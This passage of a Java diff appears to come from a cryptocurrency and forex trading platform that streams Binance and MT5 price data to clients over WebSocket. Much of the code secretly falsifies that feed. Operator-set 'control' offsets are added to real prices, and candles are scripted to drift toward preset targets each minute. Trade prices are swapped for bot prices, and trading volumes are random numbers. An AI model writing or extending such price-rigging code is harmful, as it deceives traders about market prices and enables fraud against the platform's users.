(KlineTickBean)dataMt5.getTick(); + redis.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+ symbol,klineTickBeanc.getClose()); + } + List klineMap = WebSocketServers.klineMap.get(symbol.toLowerCase()); + if(klineMap==null){ + return; + } + for (String s : klineMap) { + WebSocketServers.sendInfo(JSONObject.toJSONString(wsVO),s); + } + break; + } + } + + + //构建币安k线对线 + @Async("socketThread") + public void binanceKlineSendMeg(String event){ + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject o = jsonObject.getJSONObject("k"); + //返回对象 + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(String.valueOf(o.get("s")).replace("USDT","").toLowerCase()); + + //构建kline对象 + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineTickBean.setIntervention(false); + klineDTO.setTs(jsonObject.getLong("E")); + klineDTO.setCh(jsonObject.getString("e")); + //k线 + klineTickBean.setId(o.getLong("t")); + klineTickBean.setVol(new BigDecimal(o.getString("v"))); + klineTickBean.setCount(new BigDecimal(o.getString("n"))); + klineTickBean.setAmount(new BigDecimal(o.getString("q"))); + klineTickBean.setHigh(new BigDecimal(o.getString("h"))); + klineTickBean.setLow(new BigDecimal(o.getString("l"))); + klineTickBean.setOpen(new BigDecimal(o.getString("o"))); + klineTickBean.setClose(new BigDecimal(o.getString("c"))); + String coin = String.valueOf(o.get("s")).replace("USDT", "").toLowerCase(); + coin =coin.replace("usdt",""); + //获取跟随型控盘价格。 + String conPriceAndId = redisCache.getCacheObject("con-" +coin); + if(conPriceAndId!=null){ + log.info("控线"+conPriceAndId); + String[] split = conPriceAndId.split(","); + BigDecimal conPrice = new BigDecimal(split[0]); + long time = Long.parseLong(split[1]); + BigDecimal conPriceAdd = klineTickBean.getClose().add(conPrice); + //如果不是这一分钟插得针 开盘价不用管 管住最高价或者最低假 和封盘价, 如果是这一分钟 每一个都替换 + Long ts = klineDTO.getTs(); + //当前k线 + String ymdhm = getYMDHM(ts); + //控制K线 + String conT = getYMDHM(time); + log.info(coin+"控制价格为"+conPrice); + if(conT.equals(ymdhm)){ + if(klineTickBean.getHigh().compareTo(conPriceAdd)<0){ + klineTickBean.setHigh(conPriceAdd); + } + if(klineTickBean.getLow().compareTo(conPriceAdd)>0){ + klineTickBean.setLow(conPriceAdd); + } + + klineTickBean.setClose(conPriceAdd); + }else { + BigDecimal cl = klineTickBean.getClose().add(conPrice); + BigDecimal hi = klineTickBean.getHigh().add(conPrice); + BigDecimal lo = klineTickBean.getLow().add(conPrice); + BigDecimal op = klineTickBean.getOpen().add(conPrice); + klineTickBean.setHigh(hi); + klineTickBean.setLow(lo); + klineTickBean.setOpen(op); + klineTickBean.setClose(cl); + } + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + //所有控线走eth的频率,也就是说如果控线了,处理eth的同时,也会处理被控制的币种. + if(coin.equals("bnb")) { + controlKline(klineTickBean,klineDTO); + klineTickBean.setHigh(new BigDecimal(o.getString("h"))); + klineTickBean.setLow(new BigDecimal(o.getString("l"))); + klineTickBean.setOpen(new BigDecimal(o.getString("o"))); + klineTickBean.setClose(new BigDecimal(o.getString("c"))); + if(KLoader.BOT_MAP.containsKey("bot-"+"bnb")){ + return; + } + }else { + if(KLoader.BOT_MAP.containsKey("bot-"+coin)){ + Map cacheMap = KLoader.BOT_MAP.get("bot-"+coin); + //因为btc 处理了 别的k先数据 ,如果不等于null 或者 Y不等于0直接返回 不处理 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1=tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(tBotKlineModelInfo1!=null&&!tBotKlineModelInfo1.getY().equals("0")){ + //控线不处理 因为走的btc的 在处理会导致价格不一致 + return; + } + } + } + } + klineDTO.setTick(klineTickBean); + wsVO.setData(klineDTO); + //发送消息 + toSendMessage(wsVO); + } + private void controlKline(KlineTickBean klineTickBean,BinanceDTO klineDTO ){ + for (String cacheMapc: KLoader.BOT_MAP.keySet()) { + HashMap cacheMap = KLoader.BOT_MAP.get(cacheMapc); + String coin = cacheMapc.replace("bot-", "").toLowerCase(); + klineTickBean.setIntervention(true); + //获取整分时间戳 然后查询是否有控线数据 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1=tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + //不等于null Y不等于0为控线状态 + if(null!=tBotKlineModelInfo1&&!tBotKlineModelInfo1.getY().equals("0")){ + //获取当时对比价格 + BigDecimal currentlyPrice = (BigDecimal) cacheMap.get("currentlyPrice"); + //最高价 + BigDecimal high = currentlyPrice.multiply(tBotKlineModelInfo1.getHigh().divide(new BigDecimal("100"), 4, RoundingMode.HALF_UP)); + klineTickBean.setHigh(currentlyPrice.add(high)); + //最低价 + BigDecimal low = currentlyPrice.multiply(tBotKlineModelInfo1.getLow().divide(new BigDecimal("100"), 4, RoundingMode.HALF_UP)); + klineTickBean.setLow(currentlyPrice.add(low)); + //放入开盘价 + BigDecimal open = currentlyPrice.multiply(tBotKlineModelInfo1.getOpen().divide(new BigDecimal("100"), 4, RoundingMode.HALF_UP)); + klineTickBean.setOpen(currentlyPrice.add(open)); + + // 获取当前时间 + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + //id要为当前分钟的整分 要不k线会混乱 + klineTickBean.setId(currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli()); + //获取当前秒数 + int currentSecond = currentTime.getSecond(); + int secondsToNextMinute = 60 - currentSecond; + //时间剩余5秒不跳了 保证k线与控线一致。 + if(secondsToNextMinute<5){ + high = currentlyPrice.multiply(tBotKlineModelInfo1.getHigh().divide(new BigDecimal("100"), 8, RoundingMode.HALF_UP)); + klineTickBean.setHigh(currentlyPrice.add(high)); + low = currentlyPrice.multiply(tBotKlineModelInfo1.getLow().divide(new BigDecimal("100"), 8, RoundingMode.HALF_UP)); + klineTickBean.setLow(currentlyPrice.add(low)); + BigDecimal close = currentlyPrice.multiply(tBotKlineModelInfo1.getClose().divide(new BigDecimal("100"), 8, RoundingMode.HALF_UP)); + klineTickBean.setClose(currentlyPrice.add(close)); + klineTickBean.setOpen(currentlyPrice.add(open)); + KLoader.BOT_PRICE.put(coin,currentlyPrice.add(close)); + }else{ + Long ts = klineDTO.getTs(); + //分 + String mm = getMM(ts); + String ss = getSS(ts); + //最高价 -最低价 + BigDecimal subtract = klineTickBean.getHigh().subtract(klineTickBean.getLow()); + //随机次数模拟为15次 一分钟跳动的次数 + BigDecimal mean = subtract.divide(new BigDecimal(30),8,RoundingMode.HALF_UP); + //涨 + if(tBotKlineModelInfo1.getOpen().compareTo(tBotKlineModelInfo1.getClose())<0){ + String s = KLoader.BOT_TIME_MAP.get(coin); + if(s.equals("0")){//第一次进来时候 第一个价格必须上一个的封盘价 + klineTickBean.setOpen(currentlyPrice); + klineTickBean.setLow(currentlyPrice); + klineTickBean.setHigh(currentlyPrice); + klineTickBean.setClose(currentlyPrice); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,currentlyPrice); + }else if(!s.equals(mm)){ + //不相等就是新的一分钟 + //新的一分钟需要获取当时的开盘价。 + klineTickBean.setLow(klineTickBean.getOpen()); + klineTickBean.setHigh(klineTickBean.getOpen()); + klineTickBean.setClose(klineTickBean.getOpen()); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + //相等就是同一分钟内 要缓慢增加。 + BigDecimal price = KLoader.BOT_PRICE.get(coin); + BigDecimal addPrice = price.add(mean); + Map bpm = KLoader.BOT_PRICE_MAP.get(coin); + String flag = bpm.get(mm); + if(flag.equals("0")){ + //给个最低价格 + klineTickBean.setHigh(price); + klineTickBean.setClose(klineTickBean.getLow()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + bpm.put(mm,ss); + }else{ + if(addPrice.compareTo(klineTickBean.getHigh())>0){ + klineTickBean.setHigh(klineTickBean.getHigh()); + klineTickBean.setClose(klineTickBean.getHigh()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else if(addPrice.compareTo(klineTickBean.getLow())<0){ + klineTickBean.setClose(klineTickBean.getLow()); + klineTickBean.setLow(klineTickBean.getLow()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + klineTickBean.setHigh(addPrice); + klineTickBean.setClose(addPrice); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + } + } + } + }else{//跌 + String s = KLoader.BOT_TIME_MAP.get(coin); + if(s.equals("0")){ + //第一次进来时候 第一个价格必须上一个的封盘价 + klineTickBean.setOpen(currentlyPrice); + klineTickBean.setLow(currentlyPrice); + klineTickBean.setHigh(currentlyPrice); + klineTickBean.setClose(currentlyPrice); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,currentlyPrice); + }else if(!s.equals(mm)){ + //不相等就是新的一分钟 + // 新的一分钟需要获取当时的开盘价。 + klineTickBean.setLow(klineTickBean.getOpen()); + klineTickBean.setHigh(klineTickBean.getOpen()); + klineTickBean.setClose(klineTickBean.getOpen()); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + //相等就是同一分钟内 要缓慢减少。 + BigDecimal price = KLoader.BOT_PRICE.get(coin); + BigDecimal subPrice = price.subtract(mean); + Map bpm = KLoader.BOT_PRICE_MAP.get(coin); + String flag = bpm.get(mm); + if(flag.equals("0")){ + //给个最高价格 + klineTickBean.setLow(klineTickBean.getHigh()); + klineTickBean.setClose(klineTickBean.getHigh()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + bpm.put(mm,ss); + }else{ + if(subPrice.compareTo(klineTickBean.getLow())<0){ + klineTickBean.setClose(klineTickBean.getLow()); + klineTickBean.setLow(klineTickBean.getLow()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else if(subPrice.compareTo(klineTickBean.getHigh())>0){ + klineTickBean.setHigh(klineTickBean.getHigh()); + klineTickBean.setClose(klineTickBean.getHigh()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + klineTickBean.setClose(subPrice); + klineTickBean.setLow(subPrice); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + } + } + } + } + } + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(cacheMapc.replace("bot-","")); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + } + } + public String getYMDHM(Long timestamp){ + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + // 使用 Date 类将时间戳转换为日期对象 + Date date = new Date(timestamp); + // 使用 SimpleDateFormat 格式化日期对象为字符串 + String formattedDate = sdf.format(date); + // 提取分钟(mm)和秒(ss) + + String mm = formattedDate.substring(0, 16); + return mm; + } + public String getMM(Long timestamp){ + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + // 使用 Date 类将时间戳转换为日期对象 + Date date = new Date(timestamp); + // 使用 SimpleDateFormat 格式化日期对象为字符串 + String formattedDate = sdf.format(date); + // 提取分钟(mm)和秒(ss) + + String mm = formattedDate.substring(14, 16); + return mm; + } + public String getSS(Long timestamp){ + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + // 使用 Date 类将时间戳转换为日期对象 + Date date = new Date(timestamp); + // 使用 SimpleDateFormat 格式化日期对象为字符串 + String formattedDate = sdf.format(date); + // 提取分钟(mm)和秒(ss) + String ss = formattedDate.substring(17, 19); + return ss; + } + + @Async("socketThread") + public void binanceDETAILSendMeg(String event){ + JSONObject jsonObject = JSONObject.parseObject(event); + BinanceDTO klineDTO = new BinanceDTO(); + DetailTickBean klineTickBean = new DetailTickBean(); + klineDTO.setTs(jsonObject.getLong("E")); + klineDTO.setCh(jsonObject.getString("e")); + klineTickBean.setId(jsonObject.getLong("E")); + WsVO wsVO = new WsVO(); + wsVO.setType("DETAIL"); + String coin = jsonObject.getString("s").toLowerCase().replace("usdt",""); + wsVO.setSymbol(coin); + String conPriceAndId = redisCache.getCacheObject("con-" +coin); + if(conPriceAndId!=null){ + HashMap stringBigDecimalHashMap =tBotKlineModelService.getyesterdayPrice(); + BigDecimal addPrice = stringBigDecimalHashMap.get(coin + "usdt"); + if(addPrice==null){ + addPrice=BigDecimal.ZERO; + } + + klineTickBean.setHigh(new BigDecimal(jsonObject.getString("h"))); + klineTickBean.setLow(new BigDecimal(jsonObject.getString("l"))); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o")).add(addPrice)); + klineTickBean.setClose(KLoader.BOT_PRICE.get(coin)); + if(klineTickBean.getHigh().compareTo(klineTickBean.getClose())<0){ + klineTickBean.setHigh(klineTickBean.getClose()); + } + if(klineTickBean.getLow().compareTo(klineTickBean.getClose())>0){ + klineTickBean.setLow(klineTickBean.getClose()); + } + }else { + Map cacheMap = KLoader.BOT_MAP.get("bot-" + coin); + if(cacheMap!=null&&cacheMap.size()>0){ + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1 = tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(null!=tBotKlineModelInfo1&&!tBotKlineModelInfo1.getY().equals("0")){ + BigDecimal botPrice = KLoader.BOT_PRICE.get(coin); + klineTickBean.setHigh(botPrice); + klineTickBean.setLow(botPrice); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o"))); + klineTickBean.setClose(botPrice); + }else{ + klineTickBean.setHigh(new BigDecimal(jsonObject.getString("h"))); + klineTickBean.setLow(new BigDecimal(jsonObject.getString("l"))); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o"))); + klineTickBean.setClose(new BigDecimal(jsonObject.getString("c"))); + } + }else { + klineTickBean.setHigh(new BigDecimal(jsonObject.getString("h"))); + klineTickBean.setLow(new BigDecimal(jsonObject.getString("l"))); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o"))); + klineTickBean.setClose(new BigDecimal(jsonObject.getString("c"))); + } + } + klineTickBean.setVol(new BigDecimal(jsonObject.getString("v"))); + klineTickBean.setCount(new BigDecimal(jsonObject.getString("n"))); + klineTickBean.setAmount(new BigDecimal(jsonObject.getString("q"))); + klineDTO.setTick(klineTickBean); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void mt5DETAILSendMeg(String event,String symbol){ + JSONObject jsonObject = JSONObject.parseObject(event); + BinanceDTO klineDTO = new BinanceDTO(); + DetailTickBean klineTickBean = new DetailTickBean(); + JSONArray t = jsonObject.getJSONArray("t"); + JSONArray h = jsonObject.getJSONArray("h"); + JSONArray l = jsonObject.getJSONArray("l"); + JSONArray o = jsonObject.getJSONArray("o"); + JSONArray c = jsonObject.getJSONArray("c"); + if(t.size()<=0 ||h.size()<=0 ||l.size()<=0 ||o.size()<=0 ||c.size()<=0){ + return; + } + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))); + klineDTO.setCh("symbol"); + RedisCache redis = SpringContextUtil.getBean(RedisCache.class); + klineTickBean.setId((Long.parseLong((String) jsonObject.getJSONArray("t").get(0)))); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + redis.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+symbol,klineTickBean.getClose()); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("DETAIL"); + wsVO.setSymbol(symbol); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void metalDETAILSendMeg(String event,String symbol){ + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + JSONObject jsonObject = JSONObject.parseObject(event); + BinanceDTO klineDTO = new BinanceDTO(); + DetailTickBean klineTickBean = new DetailTickBean(); + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))*1000); + klineDTO.setCh("symbol"); + RedisCache redis = SpringContextUtil.getBean(RedisCache.class); + + klineTickBean.setId((currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli())); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + redis.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+symbol,klineTickBean.getClose()); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("DETAIL"); + wsVO.setSymbol(symbol); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void mt5KlineSendMeg(String event,String symbol){ + if(null==event||event.equals("")){ + return; + } + + JSONObject jsonObject = JSONObject.parseObject(event); + if(jsonObject.getJSONArray("t").size()<1){ + return; + } + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))); + klineDTO.setCh(symbol); + + klineTickBean.setId((Long.parseLong((String) jsonObject.getJSONArray("t").get(0)))); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(symbol.toLowerCase()); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void metalKlineSendMeg(String event,String symbol){ + if(null==event||event.equals("")){ + return; + } + + JSONObject jsonObject = JSONObject.parseObject(event); + if(jsonObject.getJSONArray("t").size()<1){ + return; + } + // 获取当前时间 + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))*1000); + klineDTO.setCh(symbol); + klineTickBean.setId((currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli())); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(symbol.toLowerCase()); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void binanceTRADESendMeg(String event){ + WsVO wsVO = new WsVO(); + ArrayList dataBeans = new ArrayList<>(); + TradeTickBean tradeTickBean = new TradeTickBean(); + TradeDataBean tradeDataBean = new TradeDataBean(); + BinanceDTO tradeDTO = new BinanceDTO(); + JSONObject jsonObject = JSONObject.parseObject(event); + Long ts = jsonObject.getLong("E"); + String coin = jsonObject.getString("s").toLowerCase().replace("usdt",""); + BigDecimal price = new BigDecimal(jsonObject.getString("p")); + //业务数据 + wsVO.setType("TRADE"); + wsVO.setSymbol(coin); + tradeDTO.setTs(ts); + tradeDTO.setCh(jsonObject.getString("e")); + tradeTickBean.setId(ts); + tradeTickBean.setTs(ts); + tradeDataBean.setTs(ts); + tradeDataBean.setAmount(new BigDecimal(jsonObject.getString("q"))); + tradeDataBean.setDirection(jsonObject.getBoolean("m")?"sell":"buy"); + tradeDataBean.setPrice(price); + String conPriceAndId = redisCache.getCacheObject("con-" +coin); + //是否有控制 + if(conPriceAndId!=null){ + String[] split = conPriceAndId.split(","); + tradeDataBean.setPrice(price.add(new BigDecimal(split[0]))); + }else{ + //所有控线走btc的频率,也就是说如果控线了,处理btc的同时,也会处理被控制的币种. + if(coin.equals("bnb")) { + conTradeKline(tradeDataBean,tradeDTO,tradeTickBean); + wsVO.setSymbol(coin); + tradeDataBean.setAmount(new BigDecimal(jsonObject.getString("q"))); + tradeDataBean.setDirection(jsonObject.getBoolean("m")?"sell":"buy"); + tradeDataBean.setPrice(price); + if(KLoader.BOT_MAP.containsKey("bot-"+"bnb")){ + return; + } + }else { + if(KLoader.BOT_MAP.containsKey("bot-"+coin)){ + Map cacheMap = KLoader.BOT_MAP.get("bot-"+coin); + //因为btc 处理了 别的k先数据 ,如果不等于null 或者 Y不等于0直接返回 不处理 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1=tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(tBotKlineModelInfo1!=null&&!tBotKlineModelInfo1.getY().equals("0")){ + //控线不处理 因为走的btc的 在处理会导致价格不一致 + return; + } + } + + } + } + dataBeans.add(tradeDataBean); + tradeTickBean.setData(dataBeans); + tradeDTO.setTick(tradeTickBean); + wsVO.setData(tradeDTO); + toSendMessage(wsVO); + } + + @Async("socketThread") + public void crudeKlineSendMeg(String event,String symbol) { + if (StringUtils.isEmpty(event)) { + return; + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONArray tArray = jsonObject.getJSONArray("t"); + if (tArray == null || tArray.isEmpty()) { + return; + } + // 获取当前时间 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = LocalDateTime.now().withSecond(0).withNano(0); + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineDTO.setTs(Long.parseLong((String) tArray.get(0)) * 1000); + klineDTO.setCh(symbol); + klineTickBean.setId((currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli())); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + klineTickBean.setConPrice(new BigDecimal((String) jsonObject.getJSONArray("se").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(symbol.toLowerCase()); + wsVO.setData(klineDTO); + log.info(JSONObject.toJSONString(wsVO)); + toSendMessage(wsVO); + } + + private void conTradeKline(TradeDataBean tradeDataBean,BinanceDTO tradeDTO , TradeTickBean tradeTickBean){ + for (String cacheMapc: KLoader.BOT_MAP.keySet()) { + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + //获取当前秒数 + int currentSecond = currentTime.getSecond(); + int secondsToNextMinute = 60 - currentSecond; + //时间剩余5秒不跳了 保证k线与控线一致。 + if(secondsToNextMinute<5){ + return; + } + WsVO wsVO = new WsVO(); + wsVO.setType("TRADE"); + ArrayList dataBeans = new ArrayList<>(); + HashMap cacheMap = KLoader.BOT_MAP.get(cacheMapc); + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo info = tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(null!=info&&!info.getY().equals("0")) { + BigDecimal botPrice = KLoader.BOT_PRICE.get(cacheMapc.replace("bot-","")); + if(botPrice!=null){ + tradeDataBean.setPrice(botPrice); + }else { + return; + } + }else{ + return; + } + dataBeans.add(tradeDataBean); + tradeTickBean.setData(dataBeans); + tradeDTO.setTick(tradeTickBean); + wsVO.setSymbol(cacheMapc.replace("bot-","")); + wsVO.setData(tradeDTO); + toSendMessage(wsVO); + } + } + + + + + // 获取小数位个数 + public static int getNumberDecimalDigits(String number) { + if (!number.contains(".")) { + return 0; + } + return number.length() - (number.indexOf(".") + 1); + } + private static final String EU_BANK_XML_URL = "http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"; + + @Test + public void addition_isCorrect() throws Exception { + OkHttpClient client = new OkHttpClient(); + Request request = new Request.Builder().url(EU_BANK_XML_URL).build(); + Response response = client.newCall(request).execute(); + if (response != null && response.body() != null) { + String responceString = response.body().string(); + assertNotNull(responceString); + } + } + + public void savePriceRdies(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + RedisCache redis = redisCache; + BigDecimal decimal =new BigDecimal(jsonObject.getString("c")); + BigDecimal openPrice =new BigDecimal(jsonObject.getString("o")); + String s = jsonObject.getString("s").toLowerCase(); + String symbol = s.replace("usdt",""); + redis.setCacheObject(CachePrefix.CURRENCY_CLOSE_PRICE.getPrefix()+symbol,decimal); + redis.setCacheObject(CachePrefix.CURRENCY_OPEN_PRICE.getPrefix()+symbol,openPrice); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java new file mode 100644 index 0000000..f42689e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java @@ -0,0 +1,17 @@ +package com.ruoyi.socket.service; + +import java.net.URISyntaxException; +import java.util.Map; + +public interface MarketThread { + + + void marketThreadRun() ; + 